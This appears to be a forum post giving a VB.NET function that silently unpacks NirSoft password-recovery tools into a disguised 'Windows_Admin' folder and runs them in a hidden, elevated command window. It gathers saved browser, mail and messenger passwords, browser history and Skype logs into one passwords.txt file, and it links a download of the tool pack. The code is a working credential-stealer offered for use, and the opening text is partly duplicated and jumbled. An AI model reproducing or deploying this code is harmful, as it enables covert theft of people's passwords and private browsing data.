This method is able to get passwords from:
Also Gets Web History From:
DISCLAIMER: I am well aware that this is a total noob way of doing this, and definitely not the best way.
What You Need
This basically works using third-party tools form Nirsoft. You will need to download:
Or download the pack:
Now include the .exe files into your project and use this function:
*NOTE I renamed the .exes before adding them to my project to make them easier to refer to later, so you made need to adjust the function accordingly
This will make a passwords.txt in the Favorites Folder (I use this folder for no special reason, just a preference, can obviously be changed)
Like I said before, definitely not the best way, but it does work.
Code
Firefox
Google Chrome
Internet Explorer
Opera
Outlook
AIM
Pidgin
MSN Messenger (Windows Live)
Yahoo MessengerAlso Gets Web History From:
Code
Firefox
Internet ExplorerDISCLAIMER: I am well aware that this is a total noob way of doing this, and definitely not the best way.
What You Need
This basically works using third-party tools form Nirsoft. You will need to download:
Code
messenpass
mail passview
iepassview
passwordfox
chromepass
operapassview
skypelogviewOr download the pack:
Code
http://www.mediafire.com/?3301t121ztbgjrj
MD5:12aa429ef6c2bf67302c79ecb9251388*NOTE I renamed the .exes before adding them to my project to make them easier to refer to later, so you made need to adjust the function accordingly
Code
Private Sub GetPass()
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Windows_Admin")
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/chrome.exe", My.Resources.ChromePass)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/iehv.exe", My.Resources.iehv)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/iepv.exe", My.Resources.iepv)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/mailpv.exe", My.Resources.mailpv)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/mh.exe", My.Resources.MozillaHistoryView)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/mspass.exe", My.Resources.mspass)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/opera.exe", My.Resources.OperaPassView)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/pfox.exe", My.Resources.PasswordFox)
File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "/Windows_Admin/skpye.exe", My.Resources.SkypeLogView)
Dim s As New ProcessStartInfo("cmd.exe")
s.RedirectStandardInput = True
s.RedirectStandardOutput = True
s.UseShellExecute = False
s.CreateNoWindow = True
s.Verb = "runas"
Dim p As Process = Process.Start(s)
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\chrome.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chromepass.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\iehv.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iehv.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\iepv.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iepv.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mailpv.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\mail.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mh.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firehistory.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\mspass.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chat.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\opera.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\opera.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\skpye.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\skype.txt")
p.StandardInput.WriteLine("""C:\Program Files\Windows_Admin\pfox.exe""" & "/stext " & Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firepass.txt")
p.StandardInput.WriteLine("exit")
Thread.Sleep(10000)
Dim chrome As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chromepass.txt")
Dim iehv As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iehv.txt")
Dim iepv As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\iepv.txt")
Dim mail As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\mail.txt")
Dim firehistory As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firehistory.txt")
Dim chat As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\chat.txt")
Dim opera As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\opera.txt")
Dim skype As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\skype.txt")
Dim firepass As New System.IO.StreamReader(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\firepass.txt")
Dim passwords As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.Favorites) & "\passwords.txt")
passwords.WriteLine("FIREFOX PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(firepass.ReadToEnd)
passwords.WriteLine("INTERNET EXPLORER PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(iepv.ReadToEnd)
passwords.WriteLine("CHROME PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(chrome.ReadToEnd)
passwords.WriteLine("OPERA PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(opera.ReadToEnd)
passwords.WriteLine("CHAT PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(chat.ReadToEnd)
passwords.WriteLine("MAIL PASSWORDS")
passwords.WriteLine("***********************************************")
passwords.WriteLine(mail.ReadToEnd)
passwords.WriteLine("FIREFOX HISTORY")
passwords.WriteLine("***********************************************")
passwords.WriteLine(firehistory.ReadToEnd)
passwords.WriteLine("INTERNET EXPLORER HISTORY")
passwords.WriteLine("***********************************************")
passwords.WriteLine(iehv.ReadToEnd)
passwords.WriteLine("SKYPE")
passwords.WriteLine("***********************************************")
passwords.WriteLine(skype.ReadToEnd)
passwords.Close()
End SubLike I said before, definitely not the best way, but it does work.


